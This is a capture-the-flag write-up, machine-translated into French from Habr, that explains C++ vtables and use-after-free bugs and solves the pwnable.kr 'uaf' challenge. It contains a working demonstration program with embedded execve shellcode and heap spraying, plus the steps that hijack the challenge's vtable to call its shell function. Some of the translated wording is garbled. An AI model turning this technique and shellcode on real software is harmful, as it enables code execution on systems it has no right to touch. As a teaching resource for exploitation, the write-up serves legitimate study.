Résolution de problèmes avec pwnable.kr 16 - uaf. Utiliser après une vulnérabilité gratuite

image

Dans cet article, nous examinerons ce qu'est l'UAF et nous résoudrons également la 16e tâche du site pwnable.kr .

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:
  • PWN;
  • cryptographie (Crypto);
  • technologies de réseau (réseau);
  • reverse (Reverse Engineering);
  • stéganographie (Stegano);
  • recherche et exploitation des vulnérabilités WEB.

En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.

Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une chaîne dans Telegram et un groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles et répondrai à tout le monde .

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

Héritage et méthodes virtuelles


Fonction virtuelle - dans la programmation orientée objet, une fonction de classe qui peut être remplacée dans les classes successives. Ainsi, le programmeur n'a pas besoin de connaître le type exact de l'objet pour travailler avec lui à travers des méthodes virtuelles: il suffit de savoir que l'objet appartient à la classe ou au descendant de la classe dans laquelle la méthode est déclarée.

En termes simples, imaginez que nous avons une classe de base définie par Animal qui a une fonction virtuelle sreak. Ainsi, la classe Animal peut avoir deux classes enfants Cat et Dog. La fonction virtuelle Cat: sreak () produira myau et Dog: sreak produira gav. Mais si la même structure est stockée en mémoire, comment le programme comprend-il lequel des sreaks doit être appelé?

Tout le travail est fourni par le tableau des méthodes virtuelles (TVM), ou, comme il est déterminé par vtable.

Chaque classe a son propre TVM et le compilateur ajoute son pointeur de table virtuelle (vptr - pointeur vers vtable), comme première variable locale de cet objet. Voyons ça.
#include <stdio.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); return 0; } 

Compilez et exécutez pour voir la sortie.
 g++ ex.c -o ex.bin 

image

Exécutez maintenant sous le débogueur dans l'IDA et arrêtez avant d'appeler la première fonction. Accédez à la fenêtre HEX-View et synchronisez-la avec le registre RAX.

image

Dans le fragment sélectionné, nous voyons la valeur des variables var1 lors de la définition de variables de type ANIMAUX et CAT. Il y a des adresses devant les deux variables, comme nous l'avons dit, ce sont des pointeurs vers VMT (0x559f9898fd90 et 0x559f9898fd70).

Voyons ce qui se passe lorsque func1 est appelé:
  1. Tout d'abord, dans RAX, nous aurons une adresse sur l'objet à l'aide du pointeur ptr.
  2. Plus loin dans RAX, la première valeur de l'objet est lue - un pointeur vers VMT (vers son premier élément).
  3. Dans RAX, la première valeur de VMT est lue - un pointeur vers la même méthode virtuelle.
  4. Dans RDX, un pointeur vers l'objet est entré (le plus souvent ceci).
  5. Un appel de méthode virtuel est effectué.


image

Lorsque func2 est appelé, la même chose se produit, à une exception près, pas le premier enregistrement (RAX), mais le second (RAX + 8) est lu à partir de VMT. C'est le mécanisme pour travailler avec des méthodes virtuelles.

image

UAF


Cette vulnérabilité est typique du tas, car la pile est conçue pour stocker des données d'une petite quantité (variables locales). Le tas, étant une mémoire dynamique, est tout simplement parfait pour stocker de grandes quantités de données. Dans ce cas, l'allocation et la libération de mémoire peuvent se produire pendant l'exécution du programme. Mais pour cette raison, il est nécessaire de surveiller quelle mémoire est occupée et laquelle ne l'est pas. Pour ce faire, vous avez besoin d'un en-tête de service pour le bloc de mémoire alloué. Il contient l'adresse de début et un pointeur sur le premier élément du bloc. Et tandis que le tas, contrairement à la pile, grandit.

L'essence de la vulnérabilité est qu'après avoir libéré de la mémoire, le programme peut se référer à cette zone. Il y a donc des pointeurs suspendus. Modifiez le code du programme et vérifiez-le.
 int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; ptr->func1(); return 0; } 

image

Voyons où le programme plante. Par analogie avec l'exemple précédent, je m'arrête avant d'appeler la fonction et de synchroniser Hex-View avec RAX. Nous voyons sur quoi notre objet doit être situé. Mais lors de l'exécution de l'instruction suivante, 0 reste dans le registre RAX. Et déjà en essayant de déréférencer 0, le programme plante.

image

image

Ainsi, pour l'exploitation d'UAF, il faut transférer le shellcode au programme, puis remonter à son début via le pointeur suspendu (en VMT). Cela est possible du fait que le tas, lorsqu'il est demandé, alloue un bloc de mémoire qui a été libéré plus tôt, et de cette façon, nous pouvons émuler VMT, qui pointera vers le shellcode. En d'autres termes, là où l'adresse de la fonction VMT était précédemment localisée, l'adresse du shellcode sera désormais localisée. Mais nous ne pouvons pas garantir que la mémoire pour le seul objet sélectionné coïncidera avec la zone juste effacée, donc nous créerons plusieurs de ces objets en boucle.

Regardons un exemple. Tout d'abord, prenez le shellcode, par exemple, d'ici .
 "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 

Et complétez notre code:
 #include <stdio.h> #include <string.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; class EX_SHELL{ private: char n[8]; public: EX_SHELL(void* addr_in_VMT){ memcpy(n, &addr_in_VMT, sizeof(void*)); } }; char shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; void* vmt[1]; vmt[0] = (void*) shellcode; for(int i=0; i<0x10000; i++) new EX_SHELL(vmt); ptr->func1(); return 0; } 

Après avoir compilé et exécuté, nous obtenons un shell complet.

image

Uaf job solution


Nous cliquons sur l'icône signée uaf et on nous dit que nous devons nous connecter via SSH avec le mot de passe guest.

image

Une fois connecté, nous voyons la bannière correspondante.

image

Voyons quels fichiers se trouvent sur le serveur, ainsi que les droits dont nous disposons.

image

Voyons le code source
 #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; } 


Au tout début du programme, nous avons deux objets de classes hérités de la classe Human. Qui a une fonction qui nous donne un shell.

image

Ensuite, nous sommes invités à introduire l'une des trois actions:
  1. afficher des informations sur les objets;
  2. écrire sur un tas de données acceptées comme paramètre de programme;
  3. supprimez l'objet créé.


image

La vulnérabilité UAF étant prise en compte dans cette tâche, le plan doit être le suivant: créer - supprimer - écrire dans le tas - recevoir des informations.

La seule étape sur laquelle nous avons un contrôle total est l'écriture dans le tas. Mais avant l'enregistrement, nous devons savoir comment VMT recherche ces objets et l'adresse de la fonction qui nous donne le shell. À l'aide d'un exemple, nous avons compris comment VMT fonctionne, les pointeurs vers les adresses sont stockés les uns après les autres, c'est-à-dire
func2 = * func1 + sizeof (* func1), func3 = * func1 + 2 * sizeof (* func2) etc.

Étant donné que la première fonction de VMT sera give_shell (), et lorsque la fonction Man ::trod () est appelée, la deuxième adresse de VMT sera l'adresse entrée. Étant donné le système 64 bits: * introduire = * give_shell + 8. Nous trouverons une confirmation de ceci:

image

La ligne principale + 272 confirme notre hypothèse, puisque l'adresse par rapport à la base augmente de 8.

Définissez un point d'arrêt et examinez le contenu d'EAX pour déterminer l'adresse de base.

image

image

image

Nous avons trouvé l'adresse de base: 0x0000000000401570. Ainsi, au lieu du shell, nous devons écrire l'adresse give_shell () dans le tas, réduite de 8 afin qu'elle soit prise comme base VMT, tout en augmentant de 8, le programme nous a donné un shell.

image

Le programme en tant que paramètre est le nombre d'octets qu'il lit dans le fichier et le nom du fichier. Il reste un peu à écraser les données, il faut allouer un bloc mémoire de la taille d'un bloc libéré. Trouvez la taille du bloc qui occupe un objet.

image

Ainsi, avant de créer l'objet 0x18 = 24 octets sont réservés. Autrement dit, nous devons composer un fichier composé de 24 octets.

image

Puisque le programme libère deux objets, nous devrons écrire les données deux fois.

image

Nous obtenons la coquille, lisons le drapeau, nous obtenons 8 points.

image

Vous pouvez nous rejoindre sur Telegram . La prochaine fois, nous traiterons de l'alignement de la mémoire.

Source: https://habr.com/ru/post/fr462471/


All Articles